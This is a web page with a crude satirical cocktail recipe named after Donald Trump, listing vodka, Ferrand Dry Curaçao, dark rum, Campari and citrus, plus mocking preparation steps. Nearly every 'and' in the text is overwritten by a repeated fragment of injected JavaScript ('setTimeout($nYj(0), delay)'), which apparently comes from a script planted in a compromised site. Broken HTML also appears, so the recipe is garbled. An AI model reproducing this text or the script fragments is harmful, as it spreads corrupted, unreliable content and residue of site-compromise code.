Trump Fucker Cocktail Recipe
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Ingredients
- ¾ oz vodka
- ¾ oz Ferrandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dry Curaçao (this is important – do not substitute – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s also great in a Mai-Tai)
- ½ oz dark rum (Pyrat, Cayman Reef Barbados, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Kōloa Gold are good choices for dark rum. Bacardi would probably be good too)
- ½ oz Campari
- juice of 1/2 lime
- juice of one whole small andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands/halos.html” target=”_blank” rel=”noreferrer noopener”>mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andarin orange
- 3 dashes of orange bitters
Preparation
Pour all the ingredients in a shaker about one-third full of ice cubes. Pick up the shaker andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raise it to eye level. Imagine that it’s Donald Trump’s head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then shake it violently. Feel free to scream as you continue to shake it mercilessly until your handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands are so cold they hurt.
Pour the drink into a old fashioned glass or rocks glass (or even an absinthe glass) with ice – preferably one large ice cube but, in a pinch, a few normal size cubes will do. The color of the drink should match the orangey hue of Donald’s spray tan.
Garnish with one or two lychee fruits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, for optimum presentation, place a blueberry in the opening of the each lychee. If you make it right, it looks like this.
